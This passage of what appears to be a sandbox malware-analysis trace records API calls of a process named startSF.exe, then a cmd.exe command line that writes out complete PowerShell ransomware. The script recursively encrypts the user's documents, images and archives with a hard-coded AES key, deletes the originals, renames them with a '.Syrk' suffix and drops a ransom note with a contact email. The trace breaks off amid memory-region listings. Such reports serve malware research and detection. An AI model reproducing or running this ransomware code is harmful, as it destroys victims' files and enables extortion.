hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57d90 | out: hHeap=0x1f40000) returned 1 [0062.210] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57df8 | out: hHeap=0x1f40000) returned 1 [0062.210] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56bd8 | out: hHeap=0x1f40000) returned 1 [0062.210] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57d28 | out: hHeap=0x1f40000) returned 1 [0062.210] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57e60 | out: hHeap=0x1f40000) returned 1 [0062.211] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57cc0 | out: hHeap=0x1f40000) returned 1 [0062.211] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56bf0 | out: hHeap=0x1f40000) returned 1 [0062.211] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56ba8 | out: hHeap=0x1f40000) returned 1 [0062.211] GetLastError () returned 0x0 [0062.211] SetLastError (dwErrCode=0x0) [0062.211] GetLastError () returned 0x0 [0062.211] SetLastError (dwErrCode=0x0) [0062.211] GetLastError () returned 0x0 [0062.211] SetLastError (dwErrCode=0x0) [0062.211] GetLastError () returned 0x0 [0062.211] SetLastError (dwErrCode=0x0) [0062.211] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x1f40830, nSize=0x104 | out: lpFilename="C:\\Users\\Public\\Documents\\startSF.exe" (normalized: "c:\\users\\public\\documents\\startsf.exe")) returned 0x25 [0062.212] wcscmp (_String1="C:\\Users\\Public\\Documents\\startSF.exe", _String2="\\\\?\\") returned -1 [0062.212] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x54) returned 0x1f44a80 [0062.212] PathQuoteSpacesW (in: lpsz="C:\\Users\\Public\\Documents\\startSF.exe" | out: lpsz="C:\\Users\\Public\\Documents\\startSF.exe") returned 0 [0062.212] GetLastError () returned 0x0 [0062.212] SetLastError (dwErrCode=0x0) [0062.212] wcslen (_String="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.212] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x54) returned 0x1f57cc0 [0062.212] GetLastError () returned 0x0 [0062.212] SetLastError (dwErrCode=0x0) [0062.212] wcslen (_String="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.212] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f44a80 | out: hHeap=0x1f40000) returned 1 [0062.213] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57cc0 | out: hHeap=0x1f40000) returned 1 [0062.213] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x54) returned 0x1f44a80 [0062.213] wcslen (_String="2974CA65CF6389B3AC43F1B84C181E57") returned 0x20 [0062.213] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f491a8 [0062.213] GetLastError () returned 0x0 [0062.213] SetLastError (dwErrCode=0x0) [0062.213] GetLastError () returned 0x0 [0062.213] SetLastError (dwErrCode=0x0) [0062.213] GetLastError () returned 0x0 [0062.213] SetLastError (dwErrCode=0x0) [0062.213] GetLastError () returned 0x0 [0062.213] SetLastError (dwErrCode=0x0) [0062.213] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x9c) returned 0x7612d8 [0062.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2974CA65CF6389B3AC43F1B84C181E57", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0062.213] malloc (_Size=0x22) returned 0x6013c0 [0062.213] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="2974CA65CF6389B3AC43F1B84C181E57", cchWideChar=33, lpMultiByteStr=0x6013c0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2974CA65CF6389B3AC43F1B84C181E57", lpUsedDefaultChar=0x0) returned 33 [0062.214] free (_Block=0x6013c0) [0062.214] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.214] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x4a) returned 0x1f49200 [0062.214] FindResourceW (hModule=0x400000, lpName="551F645F59CFA9828B27DEB49CF05E7F", lpType=0xa) returned 0x0 [0062.214] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f491a8 | out: hHeap=0x1f40000) returned 1 [0062.215] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f49200 | out: hHeap=0x1f40000) returned 1 [0062.215] wcslen (_String="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.215] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x54) returned 0x1f57cc0 [0062.215] wcslen (_String="C:\\Windows\\sysnative\\") returned 0x15 [0062.215] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x34) returned 0x1f57d20 [0062.215] wcslen (_String="cmd") returned 0x3 [0062.215] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x10) returned 0x1f56ba8 [0062.215] wcslen (_String="/c") returned 0x2 [0062.215] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0xe) returned 0x1f56bf0 [0062.215] GetLastError () returned 0x0 [0062.215] SetLastError (dwErrCode=0x0) [0062.215] wcslen (_String="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 0x40 [0062.215] RtlAllocateHeap (HeapHandle=0x1f40000, Flags=0x0, Size=0x8a) returned 0x1f57d60 [0062.215] PathQuoteSpacesW (in: lpsz="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat" | out: lpsz="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 0 [0062.215] GetLastError () returned 0x0 [0062.215] SetLastError (dwErrCode=0x0) [0062.215] wcslen (_String="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat") returned 0x40 [0062.215] wcslen (_String=" ") returned 0x1 [0062.215] wcslen (_String="C:\\Users\\Public\\Documents\\startSF.exe") returned 0x25 [0062.215] RtlReAllocateHeap (Heap=0x1f40000, Flags=0x0, Ptr=0x1f57cc0, Size=0xd6) returned 0x1f57df8 [0062.215] PathQuoteSpacesW (in: lpsz="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe" | out: lpsz="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"") returned 1 [0062.215] GetLastError () returned 0x0 [0062.216] SetLastError (dwErrCode=0x0) [0062.216] GetLastError () returned 0x0 [0062.216] SetLastError (dwErrCode=0x0) [0062.216] GetLastError () returned 0x0 [0062.216] SetLastError (dwErrCode=0x0) [0062.216] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1f40830 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop") returned 0x1a [0062.216] GetLastError () returned 0x0 [0062.216] SetLastError (dwErrCode=0x0) [0062.216] wcslen (_String="/c") returned 0x2 [0062.216] wcslen (_String=" ") returned 0x1 [0062.216] wcslen (_String="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"") returned 0x68 [0062.216] GetLastError () returned 0x0 [0062.216] SetLastError (dwErrCode=0x0) [0062.216] wcslen (_String="C:\\Windows\\sysnative\\") returned 0x15 [0062.216] wcslen (_String="cmd") returned 0x3 [0062.216] wcslen (_String="C:\\Windows\\sysnative\\cmd") returned 0x18 [0062.216] wcslen (_String="/c \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"") returned 0x6b [0062.216] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x0, Size=0x10e) returned 0x7612d8 [0062.216] wcscpy (in: _Dest=0x7612d8, _Source="\"" | out: _Dest="\"") returned="\"" [0062.218] wcscat (in: _Dest=0x7612d8, _Source="C:\\Windows\\sysnative\\cmd" | out: _Dest="\"C:\\Windows\\sysnative\\cmd") returned="\"C:\\Windows\\sysnative\\cmd" [0062.218] wcscat (in: _Dest=0x7612d8, _Source="\"" | out: _Dest="\"C:\\Windows\\sysnative\\cmd\"") returned="\"C:\\Windows\\sysnative\\cmd\"" [0062.218] wcscat (in: _Dest=0x7612d8, _Source=" " | out: _Dest="\"C:\\Windows\\sysnative\\cmd\" ") returned="\"C:\\Windows\\sysnative\\cmd\" " [0062.218] wcscat (in: _Dest=0x7612d8, _Source="/c \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"" | out: _Dest="\"C:\\Windows\\sysnative\\cmd\" /c \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"") returned="\"C:\\Windows\\sysnative\\cmd\" /c \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"" [0062.218] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Windows\\sysnative\\cmd\" /c \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kEecfMwgj\\Desktop\\", lpStartupInfo=0x18fe6c*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fe5c | out: lpCommandLine="\"C:\\Windows\\sysnative\\cmd\" /c \"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat C:\\Users\\Public\\Documents\\startSF.exe\"", lpProcessInformation=0x18fe5c*(hProcess=0xd4, hThread=0x1c, dwProcessId=0x9a8, dwThreadId=0xa58)) returned 1 [0062.229] CloseHandle (hObject=0x1c) returned 1 [0062.229] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x20) returned 0x7613f0 [0062.229] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7612d8 | out: hHeap=0x760000) returned 1 [0062.230] GetLastError () returned 0x0 [0062.230] SetLastError (dwErrCode=0x0) [0062.230] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.232] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0062.234] Sleep (dwMilliseconds=0xa) [0062.243] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.243] Sleep (dwMilliseconds=0xa) [0062.259] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.259] Sleep (dwMilliseconds=0xa) [0062.270] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.270] Sleep (dwMilliseconds=0xa) [0062.281] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.281] Sleep (dwMilliseconds=0xa) [0062.291] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.291] Sleep (dwMilliseconds=0xa) [0062.312] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.312] Sleep (dwMilliseconds=0xa) [0062.322] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.322] Sleep (dwMilliseconds=0xa) [0062.332] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.332] Sleep (dwMilliseconds=0xa) [0062.343] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.343] Sleep (dwMilliseconds=0xa) [0062.353] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.353] Sleep (dwMilliseconds=0xa) [0062.366] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.366] Sleep (dwMilliseconds=0xa) [0062.376] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.376] Sleep (dwMilliseconds=0xa) [0062.386] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.386] Sleep (dwMilliseconds=0xa) [0062.396] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.396] Sleep (dwMilliseconds=0xa) [0062.406] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.406] Sleep (dwMilliseconds=0xa) [0062.416] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.416] Sleep (dwMilliseconds=0xa) [0062.429] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.429] Sleep (dwMilliseconds=0xa) [0062.439] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.439] Sleep (dwMilliseconds=0xa) [0062.449] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.449] Sleep (dwMilliseconds=0xa) [0062.459] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.459] Sleep (dwMilliseconds=0xa) [0062.469] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.469] Sleep (dwMilliseconds=0xa) [0062.479] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.479] Sleep (dwMilliseconds=0xa) [0062.495] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.495] Sleep (dwMilliseconds=0xa) [0062.505] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.505] Sleep (dwMilliseconds=0xa) [0062.515] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.515] Sleep (dwMilliseconds=0xa) [0062.525] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.525] Sleep (dwMilliseconds=0xa) [0062.537] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.537] Sleep (dwMilliseconds=0xa) [0062.547] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.547] Sleep (dwMilliseconds=0xa) [0062.563] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x102 [0062.563] Sleep (dwMilliseconds=0xa) [0062.573] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0x0) returned 0x0 [0062.573] TerminateProcess (hProcess=0xd4, uExitCode=0xffffffff) returned 0 [0062.573] GetExitCodeProcess (in: hProcess=0xd4, lpExitCode=0x18ff0c | out: lpExitCode=0x18ff0c*=0x1) returned 1 [0062.574] CloseHandle (hObject=0xd4) returned 1 [0062.574] HeapFree (in: hHeap=0x760000, dwFlags=0x0, lpMem=0x7613f0 | out: hHeap=0x760000) returned 1 [0062.574] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57df8 | out: hHeap=0x1f40000) returned 1 [0062.575] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56ba8 | out: hHeap=0x1f40000) returned 1 [0062.575] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57d60 | out: hHeap=0x1f40000) returned 1 [0062.575] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f57d20 | out: hHeap=0x1f40000) returned 1 [0062.575] HeapFree (in: hHeap=0x1f40000, dwFlags=0x0, lpMem=0x1f56bf0 | out: hHeap=0x1f40000) returned 1 [0062.575] SetConsoleCtrlHandler (HandlerRoutine=0x4020ce, Add=0) returned 1 [0062.576] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB5.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb5.tmp")) returned 1 [0062.576] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\extd.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\extd.exe")) returned 0 [0062.576] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\EDB4.bat" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp\\edb4.bat")) returned 1 [0062.578] RemoveDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp\\EDB3.tmp\\" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp\\edb3.tmp")) returned 1 [0062.578] RemoveDirectoryW (lpPathName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\EDB2.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\edb2.tmp")) returned 1 [0062.579] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x409f70 [0062.579] HeapDestroy (hHeap=0x860000) returned 1 [0062.579] HeapDestroy (hHeap=0x1f40000) returned 1 [0062.580] HeapDestroy (hHeap=0x760000) returned 1 [0062.589] ExitProcess (uExitCode=0x1) Process: id = "4" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x3d213000" os_pid = "0x99c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x96c" cmd_line = "C:\\Windows\\system32\\cmd.exe /c cmd.exe /c mkdir %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & cd %USERPROFILE%\\Documents\\WindowsPowerShell\\Modules\\Cipher & echo function New-CryptographyKey() { > Cipher.psm1 & echo [CmdletBinding()] >> Cipher.psm1 & echo [OutputType([System.Security.SecureString])] >> Cipher.psm1 & echo [OutputType([String], ParameterSetName='PlainText')] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$false, Position=1)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm='AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [Int]$KeySize, >> Cipher.psm1 & echo [Parameter(ParameterSetName='PlainText')] >> Cipher.psm1 & echo [Switch]$AsPlainText) >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo try { >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('KeySize')){ >> Cipher.psm1 & echo $Crypto.KeySize = $KeySize } >> Cipher.psm1 & echo $Crypto.GenerateKey() >> Cipher.psm1 & echo if($AsPlainText) { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) } >> Cipher.psm1 & echo else { >> Cipher.psm1 & echo return [System.Convert]::ToBase64String($Crypto.Key) ^| ConvertTo-SecureString -AsPlainText -Force } } >> Cipher.psm1 & echo catch { Write-Error $_ } } } >> Cipher.psm1 & echo Function Protect-File { >> Cipher.psm1 & echo [CmdletBinding(DefaultParameterSetName='SecureString')] >> Cipher.psm1 & echo [OutputType([System.IO.FileInfo[]])] >> Cipher.psm1 & echo Param([Parameter(Mandatory=$true, Position=1, ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] >> Cipher.psm1 & echo [Alias('PSPath','LiteralPath')] >> Cipher.psm1 & echo [string[]]$FileName, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=2)] >> Cipher.psm1 & echo [ValidateSet('AES','DES','RC2','Rijndael','TripleDES')] >> Cipher.psm1 & echo [String]$Algorithm = 'AES', >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=3, ParameterSetName='SecureString')] >> Cipher.psm1 & echo [System.Security.SecureString]$Key = (New-CryptographyKey -Algorithm $Algorithm), >> Cipher.psm1 & echo [Parameter(Mandatory=$true, Position=3, ParameterSetName='PlainText')] >> Cipher.psm1 & echo [String]$KeyAsPlainText, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=4)] >> Cipher.psm1 & echo [System.Security.Cryptography.CipherMode]$CipherMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=5)] >> Cipher.psm1 & echo [System.Security.Cryptography.PaddingMode]$PaddingMode, >> Cipher.psm1 & echo [Parameter(Mandatory=$false, Position=6)] >> Cipher.psm1 & echo [String]$Suffix = \".$Algorithm\", >> Cipher.psm1 & echo [Parameter()] >> Cipher.psm1 & echo [Switch]$RemoveSource) >> Cipher.psm1 & echo Begin { try { >> Cipher.psm1 & echo if($PSCmdlet.ParameterSetName -eq 'PlainText') { >> Cipher.psm1 & echo $Key = $KeyAsPlainText ^| ConvertTo-SecureString -AsPlainText -Force} >> Cipher.psm1 & echo $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($Key) >> Cipher.psm1 & echo $EncryptionKey = [System.Convert]::FromBase64String([System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)) >> Cipher.psm1 & echo $Crypto = [System.Security.Cryptography.SymmetricAlgorithm]::Create($Algorithm) >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('CipherMode')){ >> Cipher.psm1 & echo $Crypto.Mode = $CipherMode } >> Cipher.psm1 & echo if($PSBoundParameters.ContainsKey('PaddingMode')){ >> Cipher.psm1 & echo $Crypto.Padding = $PaddingMode } >> Cipher.psm1 & echo $Crypto.KeySize = $EncryptionKey.Length*8 >> Cipher.psm1 & echo $Crypto.Key = $EncryptionKey } >> Cipher.psm1 & echo Catch { Write-Error $_ -ErrorAction Stop } } >> Cipher.psm1 & echo Process { >> Cipher.psm1 & echo $Files = Get-Item -LiteralPath $FileName >> Cipher.psm1 & echo ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix >> Cipher.psm1 & echo Try { >> Cipher.psm1 & echo $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) >> Cipher.psm1 & echo $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) >> Cipher.psm1 & echo $Crypto.GenerateIV() >> Cipher.psm1 & echo $FileStreamWriter.Write([System.BitConverter]::GetBytes($Crypto.IV.Length), 0, 4) >> Cipher.psm1 & echo $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) >> Cipher.psm1 & echo $Transform = $Crypto.CreateEncryptor() >> Cipher.psm1 & echo $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) >> Cipher.psm1 & echo $FileStreamReader.CopyTo($CryptoStream) >> Cipher.psm1 & echo $CryptoStream.FlushFinalBlock() >> Cipher.psm1 & echo $CryptoStream.Close() >> Cipher.psm1 & echo $FileStreamReader.Close() >> Cipher.psm1 & echo $FileStreamWriter.Close() >> Cipher.psm1 & echo if($RemoveSource){Remove-Item -LiteralPath $File.FullName} >> Cipher.psm1 & echo $result = Get-Item $DestinationFile >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name SourceFile -Value $File.FullName >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name Algorithm -Value $Algorithm >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name Key -Value $Key >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name CipherMode -Value $Crypto.Mode >> Cipher.psm1 & echo $result ^| Add-Member -MemberType NoteProperty -Name PaddingMode -Value $Crypto.Padding >> Cipher.psm1 & echo $result } >> Cipher.psm1 & echo Catch { Write-Error $_ >> Cipher.psm1 & echo If($FileStreamWriter) >> Cipher.psm1 & echo { $FileStreamWriter.Close() >> Cipher.psm1 & echo Remove-Item -LiteralPath $DestinationFile -Force } >> Cipher.psm1 & echo Continue >> Cipher.psm1 & echo } Finally { if($CryptoStream){$CryptoStream.Close()} >> Cipher.psm1 & echo if($FileStreamReader){$FileStreamReader.Close()} >> Cipher.psm1 & echo if($FileStreamWriter){$FileStreamWriter.Close()} } } } } >> Cipher.psm1 & echo Import-Module Cipher > cry.ps1 & echo $files = get-childitem $home -recurse -Include *.gif, *.sln, *.docx, *.php, *.psd, *.ico, *.mov, *.xlsx, *.jpg, *.xls, *.doc, *.pdf, *.wav, *.pptx, *.ppt, *.txt, *.png, *.bmp, *.rar, *.zip, *.mp3, *.mp4, *.avi ^| where {^! $_.PSIsContainer} >> cry.ps1 & echo foreach ($file in $files) { Protect-File $file -Algorithm AES -KeyAsPlainText NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q= -Suffix '.Syrk' -RemoveSource } >> cry.ps1 & echo echo 'Your personal files have been encrypted by Syrk Malware, send an email to panda831@protonmail.com to recover them.' ^> $home\\Desktop\\Readme_now.txt >> cry.ps1 & echo start $home\\Desktop\\Readme_now.txt >> cry.ps1 & exit" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1495 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1496 start_va = 0x30000 end_va = 0x35fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1497 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1498 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 1499 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1500 start_va = 0xd0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 1501 start_va = 0x230000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1502 start_va = 0x4a6d0000 end_va = 0x4a71bfff monitored = 1 entry_point = 0x4a6d829a region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 1503 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1504 start_va = 0x77640000 end_va = 0x777bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1505 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1506 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1507 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1508 start_va = 0x7efdf000 